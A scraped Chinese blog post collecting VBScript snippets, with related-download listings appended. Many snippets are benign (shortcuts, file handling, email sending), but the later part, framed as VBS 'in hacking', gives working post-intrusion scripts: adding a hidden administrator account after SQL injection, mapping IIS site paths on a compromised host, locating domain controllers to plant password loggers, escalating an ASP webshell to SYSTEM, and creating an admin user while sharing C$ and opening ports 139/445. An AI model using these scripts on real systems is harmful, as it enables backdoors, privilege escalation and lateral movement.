`
xew473kf
  • 浏览: 14389 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

VBS脚本常用经典代码收集

阅读更多

VBS脚本常用经典代码收集
2010年06月21日
  1. 计算
  2. 处理文件和文件夹
  3. 管理Windows
  4. 处理Word, Excel, PowerPoint等Office文档
  5. 嵌入网页,驱动dHTML
  6. 编写HTTP通信
  7. 调用系统功能(COM组件),比如说语音说话
  8. 分析HTML, XML
  9. 调用命令行并分析返回结果
  10. 处理图片
  11. 自动化按键
  12. 调用Windows Media Player并管理
  13. 调用Windows Live Messenger并管理
  14. 服务端技术:Active Server Page (ASP)
  15. 脚本病毒
  16. 处理数据库
  VBS获取系统安装路径
  先定义这个变量是获取系统安装路径的,然后我们用"&strWinDir&"调用这个变量。
  set gangzi = WScript.CreateObject("WScript.Shell") strDesktop = gangzi.SpecialFolders("Desktop") set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk") oShellLink.TargetPath = "http://www.fendou.info" oShellLink.Description = "Internet Explorer" oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" oShellLink.Save
  Const ADMINISTRATIVE_TOOLS = 6 Set objShell = CreateObject("Shell.Application") Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell") strDesktopFld = objFolderItem.Path Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url") objURLShortcut.TargetPath = "http://www.fendou.info/" objURLShortcut.Save
  NameSpace = "http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message") Email.From = "发件@qq.com" Email.To = "收件@qq.com" Email.Subject = "Test sendmail.vbs" Email.Textbody = "OK!" Email.AddAttachment "C:\1.txt" With Email.Configuration.Fields .Item(NameSpace&"sendusing") = 2 .Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com" .Item(NameSpace&"smtpserverport") = 25 .Item(NameSpace&"smtpauthenticate") = 1 .Item(NameSpace&"sendusername") = "发件人用户名" .Item(NameSpace&"sendpassword") = "发件人密码" .Update End With Email.Send
  VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)
  兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
  On Error Resume Next Dim fPath strComputer = "." Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'") For Each objProcess in colProcessList objProcess.Terminate() Next Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colDirs = objWMIService. _ ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'") Set objFSO = CreateObject("Scripting.FileSystemObject") For Each objDir in colDirs fPath = objDir.Name & "\gangzi.exe" objFSO.DeleteFile(fPath), True Next
  VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话
  On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Co = VbCrLf & "路过。。。" For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "\") End If Next Sub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i Next End Sub Sub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i)) = "shtml" Then fso.OpenTextFile(i,8,0).Write Co End If Next End Sub
  On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis '遍历磁盘 Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture) TestFile.WriteLine("By www.gangzi.org") TestFile.Close Next
  set fs = CreateObject("Scripting.FileSystemObject") for each drive in fs.drives fstraversal drive.rootfolder next sub fstraversal(byval this) for each folder in this.subfolders fstraversal folder next set files = this.files for each file in files if file.name = "123.exe" then file.name = "321.exe" next end sub
  VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
  On Error Resume Next str="我是笨蛋/qq" Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+ ","+""""&str&""""+")(close)",0 WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Se rvice=200&sigT=2a39fb276d15586e1114e71f7af38e195148 b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,tru e WScript.Sleep 3000 WshShell.SendKeys "^v" WshShell.SendKeys "%s"
  VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)
  VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)
  set fso=createobject("scripting.filesystemobject") qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10) qidong=qidong&"URL=http://www.fendou.info"&Chr(13) &Chr(10) qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL3 2.dll"&Chr(13)&Chr(10) qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10) Set TestFile=fso.CreateTextFile("qq.url",Ture) TestFile.WriteLine(qidong) TestFile.Close
  Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fi leName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close
  Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If If(fso.FileExists(drvName&fldName&"\"&fileName&".t xt"))Then msgbox("File already exists.") Else Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fi leName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close End If
  Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加 openFile.Write "Hello World!" openFile.Close
  Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",1,True) MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。
  Function Encode(strPass) Dim i, theStr, strTmp For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr = theStr & Abs(strTmp) Next strPass = theStr theStr = "" Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp Next Encode = theStr End Function Function JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If Len(str) - i = 0 Then Exit For theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2)) i = i + 1 Next JoinCutStr = theStr End Function Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End If End Function Set mc=GetObject("Winmgmts:").InstancesOf("Win32_Netwo rkAdapterConfiguration") For Each mo In mc If mo.IPEnabled=True Then theStr = mo.MacAddress Exit For End If Next Randomize Encode(theStr) rdnum=Int(10*Rnd+5) Function allRand(n) For i=1 to n Randomize Encode(theStr) temp = cint(25*Rnd) If temp mod 2 = 0 then temp = temp + 97 ElseIf temp VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)
  Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Set oIE = CreateObject("InternetExplorer.Application") for i=1 to 5 wsh.run "Rasdial /DISCONNECT",false,1 wsh.run "Rasdial 连接名字 账号 密码",false,1 oIE.Navigate "http://www.ip138.com/?"&i&"" Call SynchronizeIE oIE.Visible = True next Sub SynchronizeIE On Error Resume Next Do While(oIE.Busy) WScript.Sleep 3000 Loop End Sub
  用VBS来加管理员帐号
  在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:
  set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") '属性,admin组 Set od=ob.Create("user","lcx") '建立用户 od.SetPassword "123456" '设置密码 od.SetInfo '保存 Set of=GetObject(os&"/lcx",user) '得到用户 oe.add os&"/lcx"
  这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。
  用vbs来列虚拟主机的物理目录
  有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:
  Set ObjService=GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice If IsNumeric(obj3w.Name) Then sServerName=Obj3w.ServerComment Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root") ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf End If Next WScript.Echo ListAllWeb Set ObjService=Nothing WScript.Quit
  运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?
  用VBS快速找到内网域的主服务器
  面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group "domain admins" /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:
  只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
  vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
  WebShell提权用的VBS代码
  asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下:
  set wsh=createobject("wscript.shell") '创建一个wsh对象 a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中 
  将其保存为vbs的后缀,再上传到服务上,
  然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了
  Dim OperationRegistry Set OperationRegistry=WScript.CreateObject("WScript.Sh ell") OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Lsa\forceguest",0 Set wsh3=wscript.createobject("wscript.shell") wsh3.Run "net user helpassistant 123456",0,false wsh3.Run "net user helpassistant /active",0,false wsh3.Run "net localgroup administrators helpassistant /add",0,false wsh3.Run "net start Lanmanworkstation /y",0,false wsh3.Run "net start Lanmanserver /y",0,false wsh3.Run "net start ipc$",0,True wsh3.Run "net share c$=c:\",0,false wsh3.Run "netsh firewall set notifications disable",0,True wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false 
  Digital=time hours=Hour(Digital) minutes=Minute(Digital) seconds=Second(Digital) if (hours=6) then dn="早上好!" end if if (hours>12) then dn="下午好!" end if if (hours>18) then dn="晚上好!" end if if (hours>22) then dn="不早了,夜深了,该睡觉了!" end if if (minutes<=9) then minutes="0" & minutes end if if (seconds<=9) then seconds="0" & seconds end if ctime=hours & ":" & minutes & ":" & seconds & " " & dn Msgbox ctime 
  Dim OperationRegistry , mynum Set OperationRegistry=WScript.CreateObject("WScript.Sh ell") mynum = 9 mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYST EM\CurrentControlSet\Control\Lsa\forceguest") MsgBox("before forceguest = "&mynum) OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Lsa\forceguest",0 mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYST EM\CurrentControlSet\Control\Lsa\forceguest") MsgBox("after forceguest = "&mynum) 
分享到:
评论

相关推荐

    收集的一些VBS脚本

    在"收集的一些VBS脚本"这个压缩包中,包含了作者收集的常用VBS脚本和一些有趣的整人脚本。 1. VBS脚本基础: VBS脚本主要由声明、语句、函数和对象组成。声明部分用于定义变量、常量,语句则执行特定的操作。函数...

    QTP中VBS脚本-实际项目

    7. **增强功能**:例如,利用VBS脚本进行屏幕截图、视频录制、性能指标收集等,增加测试的透明度和可追溯性。 在【QTP中VBS脚本-实际项目】的压缩包文件中,可能包含了实际项目中使用的VBS脚本示例、测试报告模板...

    vbstar:收集有用的函数和命令,使 VBS 脚本更有用和有趣

    在 IT 领域,VBS 是一种常用的脚本语言,用于自动化任务、系统管理以及执行一系列与Windows操作系统相关的功能。通过VBSTAR,开发者可以更有效地编写 VBS 脚本,提高代码的效率和可读性。 首先,让我们深入了解一下...

    vbs计算汉字笔画数的代码

    1. **创建汉字笔画数据库**:收集并整理一个包含所有或大部分常用汉字的数据库,其中包含每个汉字的笔画数信息。这个数据通常可以从公开的汉字资源库获取,例如GBK或Unicode编码表。 2. **编码转换**:VBScript中的...

    精心收集的常用批处理50个

    在这个精心收集的常用批处理50个集合中,我们可能会发现各种实用的批处理脚本,涵盖了日常系统维护、文件管理、系统优化等多个方面。以下是一些可能包含在这些批处理文件中的常见知识点: 1. **命令行基础**:...

    从excel抓取数据发生邮件

    在VBS脚本操作Excel时,常用到的组件是Excel.Application对象。通过该对象,脚本可以打开、操作Excel文件。例如,“Set oExcel = CreateObject("Excel.Application")”这行代码创建了一个Excel.Application对象实例...

    卡式报表常用工具

    卡式报表,通常指的是以卡片形式展示数据的报表,它以清晰、简洁的方式...提供的"卡式常用工具"很可能包含了实现这些功能的VBS脚本示例,通过学习和理解这些脚本,你可以更好地理解和应用VBS在卡式报表中的实际应用。

    lnk Virus执行vbs的文件及解密后的vbs函数

    VBScript是一种常用的脚本语言,在Windows环境中广泛用于自动化任务和网页交互。在这种情况下,病毒将自身伪装成快捷方式,诱使用户点击,一旦激活,就会运行解密后的vbs函数,执行恶意代码。 描述中提到的"我的...

    QTP中自定义的常用函数,包括FTP,测试报告等

    总的来说,QTP通过VBS提供的自定义函数能力,使得测试工程师能够构建强大的自动化测试框架,不仅限于基础的脚本执行,还能处理复杂的任务如FTP操作和定制测试报告。通过深入理解VBS和QTP的API,我们可以有效地提高...

    QTP 技术集锦 学习QTP的好东东

    - **代码示例**: 提供具体的 VBS 脚本示例代码。 #### 8. 数据测试驱动 - **概念**: 数据驱动测试是一种通过外部数据源(如 Excel 或 CSV 文件)来驱动测试执行的方法。 - **实现**: 使用 QTP 实现数据驱动测试的...

    很好的asp企业源代码

    VBScript是ASP中常用的脚本语言,用于处理服务器端逻辑。 2. `index.asp` 和 `gbindex.asp`:通常,`index.asp`是网站的主页,它负责呈现网站的主要内容。`gbindex.asp`可能是针对中文GB编码的首页,因为GBK是中国...

    思科信任代理加速伴侣

    1、增加是否测试DNS的选项,默认测试DNS(在logon.vbs的脚本设置部分); 2、取消安装时收集网段,你可以手动收集网段; (从开始、程序、思科信任代理加速伴侣(Cisco Trust Agent Speeder)(开源) 1.3.1中运行...

    获取远程机器共享目录的物理路径的代码

    具体的代码示例展示了如何用VBS脚本实现上述步骤,但是在脚本中存在错误,且仅限于在本机上运行。 ### 2. SMB协议(Server Message Block) SMB协议是一种网络文件共享协议,允许计算机之间共享文件、打印机等资源...

    vba

    4. **Excel VBS脚本专区收集大全**:可能包含VBA与VBScript的相关资料,VBS是Windows脚本语言,与VBA有相通之处。 5. **[求助]如何解决参数不确定的问题**:展示了VBA中处理动态参数的技巧,可能涉及数组或变体变量...

    ASP动态网站开发教程

    ASP文件通常使用.vbs或.asp扩展名,其中包含VBScript或JScript等脚本语言。这些脚本在服务器上执行,然后将结果发送到用户的浏览器,实现网页的动态生成。 二、ASP组件 1. 脚本语言:ASP支持多种脚本语言,如...

    电脑运行代码大全.pdf

    4. `wscript`: 启动Windows脚本宿主,用于运行基于VBS或JS的脚本文件。 5. `write`: 打开写字板,一个简单的文本编辑器。 6. `winmsd`: 执行系统信息命令,显示详细的系统硬件和软件配置信息。 7. `wiaacmgr`: 打开...

    asp+access新闻发布系统

    1. **vbs.asp**:这可能是一个包含VBScript代码的页面,VBScript是ASP常用的脚本语言之一,可能用于处理一些通用的函数或组件。 2. **User_Index.asp**:用户首页,可能是用户登录后的主界面,展示用户个性化信息...

    7. Microsoft Online-Crash Control, version 6.0(微软在线崩溃控件)

    脚本控制对象允许开发者在HTML页面中嵌入VBS脚本代码,并通过调用这些脚本来执行特定的功能。文档中给出的一个例子展示了如何定义一个简单的VBScript脚本: 1. **Name**:定义了一个常量`Name`,其值为`"Anbert"`。...

    无限制完整新闻发布系统

    2. `vbs.asp`:VBScript是ASP常用的一种脚本语言,这个文件可能是包含VBScript代码的页面,可能用于处理用户输入、数据验证或者与服务器端的交互。 3. `Reg.asp`:注册页面,允许新用户创建账户,可能包含了用户信息...

Global site tag (gtag.js) - Google Analytics